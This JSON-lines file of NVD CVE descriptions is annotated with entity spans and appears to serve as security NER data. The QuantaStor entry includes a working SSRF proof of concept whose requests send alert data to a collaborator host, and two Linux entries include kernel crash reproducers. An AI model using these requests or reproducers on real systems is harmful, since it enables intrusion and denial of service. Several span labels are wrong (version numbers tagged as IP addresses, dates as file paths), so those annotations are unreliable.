{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\njbd2: check 'jh->b_transaction' before removing it from checkpoint\n\nFollowing process will corrupt ext4 image:\nStep 1:\njbd2_journal_commit_transaction\n __jbd2_journal_insert_checkpoint(jh, commit_transaction)\n // Put jh into trans1->t_checkpoint_list\n journal->j_checkpoint_transactions = commit_transaction\n // Put trans1 into journal->j_checkpoint_transactions\n\nStep 2:\ndo_get_write_access\n test_clear_buffer_dirty(bh) // clear buffer dirty，set jbd dirty\n __jbd2_journal_file_buffer(jh, transaction) // jh belongs to trans2\n\nStep 3:\ndrop_cache\n journal_shrink_one_cp_list\n  jbd2_journal_try_remove_checkpoint\n   if (!trylock_buffer(bh))  // lock bh, true\n   if (buffer_dirty(bh))     // buffer is not dirty\n   __jbd2_journal_remove_checkpoint(jh)\n   // remove jh from trans1->t_checkpoint_list\n\nStep 4:\njbd2_log_do_checkpoint\n trans1 = journal->j_checkpoint_transactions\n // jh is not in trans1->t_checkpoint_list\n jbd2_cleanup_journal_tail(journal)  // trans1 is done\n\nStep 5: Power cut, trans2 is not committed, jh is lost in next mounting.\n\nFix it by checking 'jh->b_transaction' before remove it from checkpoint.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53526"}}
{"text": "OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.4, multiple OPNsense MVC API endpoints perform state‑changing operations but are accessible via HTTP GET requests without CSRF protection. The framework CSRF validation in ApiControllerBase only applies to POST/PUT/DELETE methods, allowing authenticated GET requests to bypass CSRF verification. As a result, a malicious website can trigger privileged backend actions when visited by an authenticated user, causing unintended service reloads and configuration changes through configd. This results in an authenticated Cross‑Site Request Forgery vulnerability allowing unauthorized system state changes. This vulnerability is fixed in 26.1.4.", "spans": {"FILEPATH: /PUT/DELETE": [[283, 294]], "SYSTEM: FreeBSD": [[14, 21]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-30868"}}
{"text": "An XSS issue in the /goform/WifiBasicSet endpoint of Tenda AC15 AC1900 version 15.03.05.19 allows remote attackers to execute malicious payloads via the WifiName POST parameter.", "spans": {"IP_ADDRESS: 15.03.05.19": [[79, 90]], "FILEPATH: /goform/WifiBasicSet": [[20, 40]], "ORGANIZATION: Tenda": [[53, 58]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-10989"}}
{"text": "Graphiti is a framework that sits on top of models and exposes them via a JSON:API-compliant interface. Versions prior to 1.10.2 have an arbitrary method execution vulnerability that affects Graphiti's JSONAPI write functionality. An attacker can craft a malicious JSONAPI payload with arbitrary relationship names to invoke any public method on the underlying model instance, class or its associations. Any application exposing Graphiti write endpoints (create/update/delete) to untrusted users is affected. The `Graphiti::Util::ValidationResponse#all_valid?` method recursively calls `model.send(name)` using relationship names taken directly from user-supplied JSONAPI payloads, without validating them against the resource's configured sideloads. This allows an attacker to potentially run any public method on a given model instance, on the instance class or associated instances or classes, including destructive operations. This is patched in Graphiti v1.10.2. Users should upgrade as soon as possible. Some workarounds are available. Ensure Graphiti write endpoints (create/update) are not accessible to untrusted users and/or apply strong authentication and authorization checks before any write operation is processed, for example use Rails strong parameters to ensure only valid parameters are processed.", "spans": {"FILEPATH: /update/delete": [[461, 475]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33286"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR\n\nA NULL pointer dereference can occur in tcp_ao_finish_connect() during a\nconnect() system call on a socket with a TCP-AO key added and TCP_REPAIR\nenabled.\n\nThe function is called with skb being NULL and attempts to dereference it\non tcp_hdr(skb)->seq without a prior skb validation.\n\nFix this by checking if skb is NULL before dereferencing it.\n\nThe commentary is taken from bpf_skops_established(), which is also called\nin the same flow. Unlike the function being patched,\nbpf_skops_established() validates the skb before dereferencing it.\n\nint main(void){\n\tstruct sockaddr_in sockaddr;\n\tstruct tcp_ao_add tcp_ao;\n\tint sk;\n\tint one = 1;\n\n\tmemset(&sockaddr,'\\0',sizeof(sockaddr));\n\tmemset(&tcp_ao,'\\0',sizeof(tcp_ao));\n\n\tsk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n\n\tsockaddr.sin_family = AF_INET;\n\n\tmemcpy(tcp_ao.alg_name,\"cmac(aes128)\",12);\n\tmemcpy(tcp_ao.key,\"ABCDEFGHABCDEFGH\",16);\n\ttcp_ao.keylen = 16;\n\n\tmemcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr));\n\n\tsetsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao,\n\tsizeof(tcp_ao));\n\tsetsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one));\n\n\tsockaddr.sin_family = AF_INET;\n\tsockaddr.sin_port = htobe16(123);\n\n\tinet_aton(\"127.0.0.1\", &sockaddr.sin_addr);\n\n\tconnect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr));\n\nreturn 0;\n}\n\n$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall\n$ unshare -Urn\n\nBUG: kernel NULL pointer dereference, address: 00000000000000b6\nPGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0\nOops: Oops: 0000 [#1] SMP NOPTI\nHardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop\nReference Platform, BIOS 6.00 11/12/2020\nRIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)", "spans": {"IP_ADDRESS: 127.0.0.1": [[1321, 1330]], "FILEPATH: /12/2020": [[1734, 1742]], "FILEPATH: /ipv4/tcp_ao.c": [[1779, 1793]], "FILEPATH: nullptr.c": [[1442, 1451]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: VMware": [[1651, 1657], [1664, 1670]], "VULNERABILITY: NULL pointer dereference": [[84, 108], [146, 170], [1504, 1528]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39950"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet: fix freeing unallocated p2pmem\n\nIn case p2p device was found but the p2p pool is empty, the nvme target\nis still trying to free the sgl from the p2p pool instead of the\nregular sgl pool and causing a crash (BUG() is called). Instead, assign\nthe p2p_dev for the request only if it was allocated from p2p pool.\n\nThis is the crash that was caused:\n\n[Sun May 30 19:13:53 2021] ------------[ cut here ]------------\n[Sun May 30 19:13:53 2021] kernel BUG at lib/genalloc.c:518!\n[Sun May 30 19:13:53 2021] invalid opcode: 0000 [#1] SMP PTI\n...\n[Sun May 30 19:13:53 2021] kernel BUG at lib/genalloc.c:518!\n...\n[Sun May 30 19:13:53 2021] RIP: 0010:gen_pool_free_owner+0xa8/0xb0\n...\n[Sun May 30 19:13:53 2021] Call Trace:\n[Sun May 30 19:13:53 2021] ------------[ cut here ]------------\n[Sun May 30 19:13:53 2021]  pci_free_p2pmem+0x2b/0x70\n[Sun May 30 19:13:53 2021]  pci_p2pmem_free_sgl+0x4f/0x80\n[Sun May 30 19:13:53 2021]  nvmet_req_free_sgls+0x1e/0x80 [nvmet]\n[Sun May 30 19:13:53 2021] kernel BUG at lib/genalloc.c:518!\n[Sun May 30 19:13:53 2021]  nvmet_rdma_release_rsp+0x4e/0x1f0 [nvmet_rdma]\n[Sun May 30 19:13:53 2021]  nvmet_rdma_send_done+0x1c/0x60 [nvmet_rdma]", "spans": {"FILEPATH: genalloc.c": [[531, 541], [657, 667], [1074, 1084]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47130"}}
{"text": "sigstore framework is a common go library shared across sigstore services and clients. In versions 1.10.3 and below, the legacy TUF client (pkg/tuf/client.go) supports caching target files to disk. It constructs a filesystem path by joining a cache base directory with a target name sourced from signed target metadata; however, it does not validate that the resulting path stays within the cache base directory. A malicious TUF repository can trigger arbitrary file overwriting, limited to the permissions that the calling process has. Note that this should only affect clients that are directly using the TUF client in sigstore/sigstore or are using an older version of Cosign. Public Sigstore deployment users are unaffected, as TUF metadata is validated by a quorum of trusted collaborators. This issue has been fixed in version 1.10.4. As a workaround, users can disable disk caching for the legacy client by setting SIGSTORE_NO_CACHE=true in the environment, migrate to https://github.com/sigstore/sigstore-go/tree/main/pkg/tuf, or upgrade to the latest sigstore/sigstore release.", "spans": {"URL: https://github.com/sigstore/sigstore-go/tree/main/pkg/tuf,": [[976, 1034]], "FILEPATH: /tuf/client.go": [[143, 157]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-24137"}}
{"text": "An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.\n\nPOC\n\nStep 1: Prepare the SSRF with a request like this:\n\nGET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET>\nHTTP/1.1\n\nHost: <HOSTNAME> \nAccept-Encoding: gzip, deflate\n\nAccept: */*\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic <BASIC_AUTH_HASH> \nContent-Type: application/json\n\nContent-Length: 0\n\nStep 2: Trigger this alert with this request\n\nGET /qstorapi/alertRaise?title=test&message=test&severity=1 \nHTTP/1.1\n\nHost: <HOSTNAME> \nAccept-Encoding: gzip, deflate\n\nAccept: */*\n\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic <BASIC_AUTH_HASH> \nContent-Type: application/json\n\nContent-Length: 1\n\nThe post request received by <TARGET> looks like this:\n{\n \n### Python FLASK stuff ####\n\n 'endpoint': 'index', \n \n'method': 'POST', \n \n'cookies': ImmutableMultiDict([]), \n \n### END Python FLASK stuff ####\n\n \n'data': b'{ \n  \"attachments\": [ \n   {\n\n    \"fallback\": \"[122] test / test.\",\n\n    \"color\": \"#aa2222\",\n\n    \"title\": \"[122] test\",\n\n    \"text\": \"test\",\n\n    \"fields\": [   \n     {    \n\n      \"title\": \"Alert Severity\",\n        \n      \"value\": \"CRITICAL\",\n        \n      \"short\": false  \n     },  {   \n      \"title\": \"Appliance\",     \n      \"value\": \"quantastor (https://<HOSTNAME>)\",\n      \n      \"short\": true  \n\n     },  {    \n\n      \"title\": \"System / Driver / Kernel Ver\",    \n\n      \"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\",    \n\n      \"short\": false  \n\n     },  {    \n\n      \"title\": \"System Startup\",    \n\n      \"value\": \"Fri Aug  6 16-02-55 2021\",    \n\n      \"short\": true  \n\n          },  {    \n\n      \"title\": \"SSID\",    \n\n      \"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\",    \n\n      \"short\": true  \n\n     },\n    ],\n\n    \"footer\": \"QuantaStor Call-home Alert\",\n\n    \"footer_icon\": \" https://platform.slack-edge.com/img/default_application_icon.png \",\n\n    \"ts\": 1628461774\n   }\n  ], \n  \"mrkdwn\":true \n }', \n #### FLASK REQUEST STUFF #####\n\n 'headers': {\n\n  'Host': '<redacted>', \n  'User-Agent': 'curl/7.58.0', \n  'Accept': '*/*', \n  'Content-Type': 'application/json', \n  'Content-Length': '790'\n\n }, \n 'args': ImmutableMultiDict([]), \n 'form': ImmutableMultiDict([]), \n 'remote_addr': '217.103.63.173', \n 'path': '/payload/58', \n 'whois_ip': 'TNF-AS, NL'\n}\n\n#### END FLASK REQUEST STUFF #####", "spans": {"IP_ADDRESS: 5.10.0.156": [[2114, 2124]], "IP_ADDRESS: 217.103.63.173": [[2946, 2960]], "URL: https://platform.slack-edge.com/img/default_application_icon.png": [[2541, 2605]], "FILEPATH: /qstorapi/alertConfigSet": [[201, 225]], "FILEPATH: /qstorapi/alertRaise": [[1022, 1042]], "FILEPATH: /payload/58": [[2974, 2985]], "SYSTEM: Windows": [[758, 765], [1198, 1205]], "SYSTEM: Safari": [[847, 853], [1287, 1293]], "SYSTEM: Python": [[1475, 1481], [1592, 1598]], "SYSTEM: curl": [[2755, 2759]], "ORGANIZATION: Mozilla": [[745, 752], [1185, 1192]], "VULNERABILITY: SSRF": [[86, 90], [165, 169]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-42079"}}
{"text": "In TensorFlow Lite before versions 1.15.4, 2.0.3, 2.1.2, 2.2.1 and 2.3.1, saved models in the flatbuffer format use a double indexing scheme: a model has a set of subgraphs, each subgraph has a set of operators and each operator has a set of input/output tensors. The flatbuffer format uses indices for the tensors, indexing into an array of tensors that is owned by the subgraph. This results in a pattern of double array indexing when trying to get the data of each tensor. However, some operators can have some tensors be optional. To handle this scenario, the flatbuffer model uses a negative `-1` value as index for these tensors. This results in special casing during validation at model loading time. Unfortunately, this means that the `-1` index is a valid tensor index for any operator, including those that don't expect optional inputs and including for output tensors. Thus, this allows writing and reading from outside the bounds of heap allocated arrays, although only at a specific offset from the start of these arrays. This results in both read and write gadgets, albeit very limited in scope. The issue is patched in several commits (46d5b0852, 00302787b7, e11f5558, cd31fd0ce, 1970c21, and fff2c83), and is released in TensorFlow versions 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1. A potential workaround would be to add a custom `Verifier` to the model loading code to ensure that only operators which accept optional inputs use the `-1` special value and only for the tensors that they expect to be optional. Since this allow-list type approach is erro-prone, we advise upgrading to the patched code.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15211"}}
{"text": "Aperi'Solve is an open-source steganalysis web platform. Prior to 3.2.1, when uploading a JPEG, a user can specify an optional password to accompany the JPEG. This password is then directly passed into an expect command, which is then subsequently passed into a bash -c command, without any form of sanitization or validation. An unauthenticated attacker can achieve root-level RCE inside the worker container with a single HTTP request, enabling full read/write access to all user-uploaded images, analysis results, and plaintext steganography passwords stored on disk. Because the container shares a Docker network with PostgreSQL and Redis (no authentication on either), the attacker can pivot to dump the entire database or manipulate the job queue to poison results for other users. If Docker socket mounting or host volume mounts are present, this could escalate to full host compromise. This would also include defacement of the website itself. This vulnerability is fixed in 3.2.1.", "spans": {"SYSTEM: PostgreSQL": [[622, 632]], "SYSTEM: Redis": [[637, 642]], "ORGANIZATION: Docker": [[602, 608], [791, 797]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-34977"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnexthop: Forbid FDB status change while nexthop is in a group\n\nThe kernel forbids the creation of non-FDB nexthop groups with FDB\nnexthops:\n\n # ip nexthop add id 1 via 192.0.2.1 fdb\n # ip nexthop add id 2 group 1\n Error: Non FDB nexthop group cannot have fdb nexthops.\n\nAnd vice versa:\n\n # ip nexthop add id 3 via 192.0.2.2 dev dummy1\n # ip nexthop add id 4 group 3 fdb\n Error: FDB nexthop group can only have fdb nexthops.\n\nHowever, as long as no routes are pointing to a non-FDB nexthop group,\nthe kernel allows changing the type of a nexthop from FDB to non-FDB and\nvice versa:\n\n # ip nexthop add id 5 via 192.0.2.2 dev dummy1\n # ip nexthop add id 6 group 5\n # ip nexthop replace id 5 via 192.0.2.2 fdb\n # echo $?\n 0\n\nThis configuration is invalid and can result in a NPD [1] since FDB\nnexthops are not associated with a nexthop device:\n\n # ip route add 198.51.100.1/32 nhid 6\n # ping 198.51.100.1\n\nFix by preventing nexthop FDB status change while the nexthop is in a\ngroup:\n\n # ip nexthop add id 7 via 192.0.2.2 dev dummy1\n # ip nexthop add id 8 group 7\n # ip nexthop replace id 7 via 192.0.2.2 fdb\n Error: Cannot change nexthop FDB status while in a group.\n\n[1]\nBUG: kernel NULL pointer dereference, address: 00000000000003c0\n[...]\nOops: Oops: 0000 [#1] SMP\nCPU: 6 UID: 0 PID: 367 Comm: ping Not tainted 6.17.0-rc6-virtme-gb65678cacc03 #1 PREEMPT(voluntary)\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-4.fc41 04/01/2014\nRIP: 0010:fib_lookup_good_nhc+0x1e/0x80\n[...]\nCall Trace:\n <TASK>\n fib_table_lookup+0x541/0x650\n ip_route_output_key_hash_rcu+0x2ea/0x970\n ip_route_output_key_hash+0x55/0x80\n __ip4_datagram_connect+0x250/0x330\n udp_connect+0x2b/0x60\n __sys_connect+0x9c/0xd0\n __x64_sys_connect+0x18/0x20\n do_syscall_64+0xa4/0x2a0\n entry_SYSCALL_64_after_hwframe+0x4b/0x53", "spans": {"IP_ADDRESS: 192.0.2.1": [[237, 246]], "IP_ADDRESS: 192.0.2.2": [[383, 392], [678, 687], [761, 770], [1076, 1085], [1159, 1168]], "IP_ADDRESS: 198.51.100.1": [[926, 938], [957, 969]], "FILEPATH: /01/2014": [[1509, 1517]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1448, 1452]], "VULNERABILITY: NULL pointer dereference": [[1249, 1273]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39980"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/niu: Niu requires MSIX ENTRY_DATA fields touch before entry reads\n\nFix niu_try_msix() to not cause a fatal trap on sparc systems.\n\nSet PCI_DEV_FLAGS_MSIX_TOUCH_ENTRY_DATA_FIRST on the struct pci_dev to\nwork around a bug in the hardware or firmware.\n\nFor each vector entry in the msix table, niu chips will cause a fatal\ntrap if any registers in that entry are read before that entries'\nENTRY_DATA register is written to. Testing indicates writes to other\nregisters are not sufficient to prevent the fatal trap, however the value\ndoes not appear to matter. This only needs to happen once after power up,\nso simply rebooting into a kernel lacking this fix will NOT cause the\ntrap.\n\nNON-RESUMABLE ERROR: Reporting on cpu 64\nNON-RESUMABLE ERROR: TPC [0x00000000005f6900] <msix_prepare_msi_desc+0x90/0xa0>\nNON-RESUMABLE ERROR: RAW [4010000000000016:00000e37f93e32ff:0000000202000080:ffffffffffffffff\nNON-RESUMABLE ERROR:      0000000800000000:0000000000000000:0000000000000000:0000000000000000]\nNON-RESUMABLE ERROR: handle [0x4010000000000016] stick [0x00000e37f93e32ff]\nNON-RESUMABLE ERROR: type [precise nonresumable]\nNON-RESUMABLE ERROR: attrs [0x02000080] < ASI sp-faulted priv >\nNON-RESUMABLE ERROR: raddr [0xffffffffffffffff]\nNON-RESUMABLE ERROR: insn effective address [0x000000c50020000c]\nNON-RESUMABLE ERROR: size [0x8]\nNON-RESUMABLE ERROR: asi [0x00]\nCPU: 64 UID: 0 PID: 745 Comm: kworker/64:1 Not tainted 6.11.5 #63\nWorkqueue: events work_for_cpu_fn\nTSTATE: 0000000011001602 TPC: 00000000005f6900 TNPC: 00000000005f6904 Y: 00000000    Not tainted\nTPC: <msix_prepare_msi_desc+0x90/0xa0>\ng0: 00000000000002e9 g1: 000000000000000c g2: 000000c50020000c g3: 0000000000000100\ng4: ffff8000470307c0 g5: ffff800fec5be000 g6: ffff800047a08000 g7: 0000000000000000\no0: ffff800014feb000 o1: ffff800047a0b620 o2: 0000000000000011 o3: ffff800047a0b620\no4: 0000000000000080 o5: 0000000000000011 sp: ffff800047a0ad51 ret_pc: 00000000005f7128\nRPC: <__pci_enable_msix_range+0x3cc/0x460>\nl0: 000000000000000d l1: 000000000000c01f l2: ffff800014feb0a8 l3: 0000000000000020\nl4: 000000000000c000 l5: 0000000000000001 l6: 0000000020000000 l7: ffff800047a0b734\ni0: ffff800014feb000 i1: ffff800047a0b730 i2: 0000000000000001 i3: 000000000000000d\ni4: 0000000000000000 i5: 0000000000000000 i6: ffff800047a0ae81 i7: 00000000101888b0\nI7: <niu_try_msix.constprop.0+0xc0/0x130 [niu]>\nCall Trace:\n[<00000000101888b0>] niu_try_msix.constprop.0+0xc0/0x130 [niu]\n[<000000001018f840>] niu_get_invariants+0x183c/0x207c [niu]\n[<00000000101902fc>] niu_pci_init_one+0x27c/0x2fc [niu]\n[<00000000005ef3e4>] local_pci_probe+0x28/0x74\n[<0000000000469240>] work_for_cpu_fn+0x8/0x1c\n[<000000000046b008>] process_scheduled_works+0x144/0x210\n[<000000000046b518>] worker_thread+0x13c/0x1c0\n[<00000000004710e0>] kthread+0xb8/0xc8\n[<00000000004060c8>] ret_from_fork+0x1c/0x2c\n[<0000000000000000>] 0x0\nKernel panic - not syncing: Non-resumable error.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-37833"}}
{"text": "ftp-srv is an open-source FTP server designed to be simple yet configurable. In ftp-srv before version 4.4.0 there is a path-traversal vulnerability. Clients of FTP servers utilizing ftp-srv hosted on Windows machines can escape the FTP user's defined root folder using the expected FTP commands, for example, CWD and UPDR. When windows separators exist within the path (`\\`), `path.resolve` leaves the upper pointers intact and allows the user to move beyond the root folder defined for that user. We did not take that into account when creating the path resolve function. The issue is patched in version 4.4.0 (commit 457b859450a37cba10ff3c431eb4aa67771122e3).", "spans": {"HASH: 457b859450a37cba10ff3c431eb4aa67771122e3": [[620, 660]], "SYSTEM: Windows": [[201, 208]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-26299"}}
{"text": "OpenProject is an open-source, web-based project management software. Prior to version 16.6.2, OpenProject’s unauthenticated password-change endpoint (/account/change_password) was not protected by the same brute-force safeguards that apply to the normal login form. In affected versions, an attacker who can guess or enumerate user IDs can send unlimited password-change requests for a given account without triggering lockout or other rate-limiting controls. This allows automated password-guessing (e.g., with wordlists of common passwords) against valid accounts. Successful guessing results in full account compromise for the targeted user and, depending on that user’s role, can lead to further privilege escalation inside the application. This issue has been patched in version 16.6.2. Those who are unable to upgrade may apply the patch manually.", "spans": {"FILEPATH: /account/change_password": [[151, 175]], "VULNERABILITY: privilege escalation": [[701, 721]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-22603"}}
{"text": "A vulnerability in the Live Data server of Cisco Unified Contact Center Enterprise could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device. The vulnerability exists because the affected software improperly manages resources when processing inbound Live Data traffic. An attacker could exploit this vulnerability by sending multiple crafted Live Data packets to an affected device. A successful exploit could cause the affected device to run out of buffer resources, which could result in a stack overflow and cause the affected device to reload, resulting in a DoS condition. Note: The Live Data port in Cisco Unified Contact Center Enterprise devices allows only a single TCP connection. To exploit this vulnerability, an attacker would have to send crafted packets to an affected device before a legitimate Live Data client establishes a connection.", "spans": {"ORGANIZATION: Cisco": [[43, 48], [663, 668]], "VULNERABILITY: denial of service": [[142, 159]], "VULNERABILITY: stack overflow": [[549, 563]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-3163"}}
{"text": "New API is a large language mode (LLM) gateway and artificial intelligence (AI) asset management system. An authenticated Server-Side Request Forgery (SSRF) vulnerability exists in versions prior to 0.9.0.5. A feature within the application allows authenticated users to submit a URL for the server to process its content. The application fails to properly validate this user-supplied URL before making a server-side request. This vulnerability is not limited to image URLs and can be triggered with any link provided to the vulnerable endpoint. Since user registration is often enabled by default, any registered user can exploit this. By crafting a malicious URL, an attacker can coerce the server to send requests to arbitrary internal or external services. The vulnerability has been patched in version 0.9.0.5. The patch introduces a comprehensive, user-configurable SSRF protection module, which is enabled by default to protect server security. This new feature provides administrators with granular control over outbound requests made by the server. For users who cannot upgrade immediately, some temporary mitigation options are available. Enable new-api image processing worker (new-api-worker) and/or configure egress firewall rules.", "spans": {"IP_ADDRESS: 0.9.0.5": [[199, 206], [807, 814]], "VULNERABILITY: Server-Side Request Forgery": [[122, 149]], "VULNERABILITY: SSRF": [[151, 155], [872, 876]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-59146"}}
{"text": "There are multiple out of bounds (OOB) read vulnerabilities in the implementation of the Common Open Policy Service (COPS) protocol of some Huawei products. The specific decoding function may occur out-of-bounds read when processes an incoming data packet. Successful exploit of these vulnerabilities may disrupt service on the affected device. (Vulnerability ID: HWPSIRT-2018-12275,HWPSIRT-2018-12276,HWPSIRT-2018-12277,HWPSIRT-2018-12278,HWPSIRT-2018-12279,HWPSIRT-2018-12280 and HWPSIRT-2018-12289)\n\nThe seven vulnerabilities have been assigned seven Common Vulnerabilities and Exposures (CVE) IDs: CVE-2020-1818, CVE-2020-1819, CVE-2020-1820, CVE-2020-1821, CVE-2020-1822, CVE-2020-1823 and CVE-2020-1824.", "spans": {"CVE_ID: CVE-2020-1818": [[602, 615]], "CVE_ID: CVE-2020-1819": [[617, 630]], "CVE_ID: CVE-2020-1820": [[632, 645]], "CVE_ID: CVE-2020-1821": [[647, 660]], "CVE_ID: CVE-2020-1822": [[662, 675]], "CVE_ID: CVE-2020-1823": [[677, 690]], "CVE_ID: CVE-2020-1824": [[695, 708]], "ORGANIZATION: Huawei": [[140, 146]], "VULNERABILITY: out-of-bounds read": [[198, 216]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1818"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nASoC: meson: axg-card: fix 'use-after-free'\n\nBuffer 'card->dai_link' is reallocated in 'meson_card_reallocate_links()',\nso move 'pad' pointer initialization after this function when memory is\nalready reallocated.\n\nKasan bug report:\n\n==================================================================\nBUG: KASAN: slab-use-after-free in axg_card_add_link+0x76c/0x9bc\nRead of size 8 at addr ffff000000e8b260 by task modprobe/356\n\nCPU: 0 PID: 356 Comm: modprobe Tainted: G O 6.9.12-sdkernel #1\nCall trace:\n dump_backtrace+0x94/0xec\n show_stack+0x18/0x24\n dump_stack_lvl+0x78/0x90\n print_report+0xfc/0x5c0\n kasan_report+0xb8/0xfc\n __asan_load8+0x9c/0xb8\n axg_card_add_link+0x76c/0x9bc [snd_soc_meson_axg_sound_card]\n meson_card_probe+0x344/0x3b8 [snd_soc_meson_card_utils]\n platform_probe+0x8c/0xf4\n really_probe+0x110/0x39c\n __driver_probe_device+0xb8/0x18c\n driver_probe_device+0x108/0x1d8\n __driver_attach+0xd0/0x25c\n bus_for_each_dev+0xe0/0x154\n driver_attach+0x34/0x44\n bus_add_driver+0x134/0x294\n driver_register+0xa8/0x1e8\n __platform_driver_register+0x44/0x54\n axg_card_pdrv_init+0x20/0x1000 [snd_soc_meson_axg_sound_card]\n do_one_initcall+0xdc/0x25c\n do_init_module+0x10c/0x334\n load_module+0x24c4/0x26cc\n init_module_from_file+0xd4/0x128\n __arm64_sys_finit_module+0x1f4/0x41c\n invoke_syscall+0x60/0x188\n el0_svc_common.constprop.0+0x78/0x13c\n do_el0_svc+0x30/0x40\n el0_svc+0x38/0x78\n el0t_64_sync_handler+0x100/0x12c\n el0t_64_sync+0x190/0x194", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[97, 111], [386, 400]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-46849"}}
{"text": "On Juniper Networks MX Series and EX9200 Series platforms with Trio-based MPCs (Modular Port Concentrators) where Integrated Routing and Bridging (IRB) interfaces are configured and mapped to a VPLS instance or a Bridge-Domain, certain Layer 2 network events at Customer Edge (CE) devices may cause memory leaks in the MPC of Provider Edge (PE) devices which can cause an out of memory condition and MPC restart. When this issue occurs, there will be temporary traffic interruption until the MPC is restored. An administrator can use the following CLI command to monitor the status of memory usage level of the MPC: user@device> show system resource-monitor fpc FPC Resource Usage Summary Free Heap Mem Watermark : 20 % Free NH Mem Watermark : 20 % Free Filter Mem Watermark : 20 % * - Watermark reached Slot # % Heap Free RTT Average RTT 1 87 PFE # % ENCAP mem Free % NH mem Free % FW mem Free 0 NA 88 99 1 NA 89 99 When the issue is occurring, the value of “% NH mem Free” will go down until the MPC restarts. This issue affects MX Series and EX9200 Series with Trio-based PFEs (Packet Forwarding Engines), including MX-MPC1-3D, MX-MPC1E-3D, MX-MPC2-3D, MX-MPC2E-3D, MPC-3D-16XGE, and CHAS-MXxx Series MPCs. No other products or platforms are affected by this issue. This issue affects Juniper Networks Junos OS on MX Series, EX9200 Series: 17.3 versions prior to 17.3R3-S10; 17.4 versions prior to 17.4R3-S3; 18.2 versions prior to 18.2R3-S7; 18.3 versions prior to 18.3R3-S4; 18.4 versions prior to 18.4R3-S6; 19.2 versions prior to 19.2R3-S2; 19.3 versions prior to 19.3R3-S1; 19.4 versions prior to 19.4R2-S2, 19.4R3; 20.2 versions prior to 20.2R1-S3, 20.2R2; 20.3 versions prior to 20.3R1-S1,, 20.3R2. This issue does not affect Juniper Networks Junos OS: 17.3 versions prior to 17.3R3-S8; 17.4 versions prior to 17.4R3-S2; 18.1; 18.2 versions prior to 18.2R3-S4; 18.3 versions prior to 18.3R3-S2; 18.4 versions prior to 18.4R3-S1; 19.1; 19.2 versions prior to 19.2R2; 19.3 versions prior to 19.3R3; 19.4 versions prior to 19.4R2.", "spans": {"ORGANIZATION: Juniper": [[3, 10], [1288, 1295], [1736, 1743]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-0257"}}
